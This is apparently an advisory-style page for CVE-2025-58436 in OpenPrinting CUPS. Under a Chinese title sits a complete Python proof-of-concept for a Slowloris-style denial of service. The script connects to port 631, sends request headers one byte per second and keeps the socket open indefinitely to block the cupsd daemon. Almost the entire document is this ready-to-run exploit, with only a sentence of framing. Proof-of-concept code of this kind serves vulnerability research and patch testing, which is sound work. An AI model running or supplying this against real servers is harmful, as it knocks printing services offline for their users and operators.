CVE-2025-58436 OpenPrinting CUPS 拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-58436 PoC - CUPS Slowloris Denial of Service This PoC demonstrates how a slow client connection can block the CUPS daemon. """ import socket import time def exploit_cups_slowloris(target_host, target_port=631): """ Establish a slow connection to CUPS that sends data very slowly to block the cupsd daemon from serving other clients. """ try: # Create socket connection to CUPS sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) print(f"[*] Connected to {target_host}:{target_port}") # Send HTTP-like request headers very slowly headers = "GET /printers/ HTTP/1.1\r\n" headers += "Host: localhost\r\n" headers += "User-Agent: SlowClient/1.0\r\n" headers += "Accept: text/html\r\n" headers += "\r\n" # Send one byte per second to keep connection alive for byte in headers: sock.send(byte.encode()) print(f"[*] Sent: {repr(byte)}") time.sleep(1) # 1 second delay between each byte print("[*] Slow headers sent. Connection remains open...") print("[*] CUPS daemon is now blocked on this slow connection") # Keep connection alive indefinitely while True: time.sleep(60) except KeyboardInterrupt: print("\n[!] Exploitation interrupted by user") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() print("[*] Connection closed") if __name__ == "__main__": import sys target = sys.argv[1] if len(sys.argv) > 1 else "localhost" exploit_cups_slowloris(target)